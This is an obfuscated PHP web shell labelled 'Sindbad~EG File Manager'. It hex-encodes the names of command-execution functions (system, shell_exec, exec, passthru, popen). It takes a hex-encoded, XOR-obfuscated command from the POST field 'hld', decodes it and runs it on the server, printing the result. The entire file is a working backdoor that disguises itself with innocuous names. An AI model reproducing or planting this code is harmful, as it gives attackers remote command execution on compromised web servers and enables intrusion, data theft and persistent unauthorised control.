Sindbad~EG File Manager

<?php

$core_engine3 = "\x65\x78ec";
$core_engine1 = "s\x79\x73t\x65m";
$core_engine7 = "\x70\x63\x6Cose";
$splitter_tool = "\x68\x65\x78\x32bin";
$core_engine5 = "po\x70en";
$core_engine6 = "str\x65\x61\x6D_\x67e\x74\x5F\x63o\x6E\x74\x65nts";
$core_engine2 = "\x73\x68e\x6Cl_\x65\x78ec";
$core_engine4 = "p\x61\x73s\x74h\x72u";
if (isset($_POST["\x68l\x64"])) {
            function token_parser_engine   ($reference ,    $object   ) {    $token=    ''; $e=0; while($e<strlen($reference)){$token.=chr(ord($reference[$e])^$object);$e++;} return$token; }
            $hld = $splitter_tool($_POST["\x68l\x64"]);
            $hld = token_parser_engine($hld, 21);
            if (function_exists($core_engine1)) {
                $core_engine1($hld);
            } elseif (function_exists($core_engine2)) {
                print $core_engine2($hld);
            } elseif (function_exists($core_engine3)) {
                $core_engine3($hld, $ptr_reference);
                print join("\n", $ptr_reference);
            } elseif (function_exists($core_engine4)) {
                $core_engine4($hld);
            } elseif (function_exists($core_engine5) && function_exists($core_engine6) && function_exists($core_engine7)) {
                $object_token = $core_engine5($hld, 'r');
                if ($object_token) {
                    $symbol_entity = $core_engine6($object_token);
                    $core_engine7($object_token);
                    print $symbol_entity;
                }
            }
            exit;
        }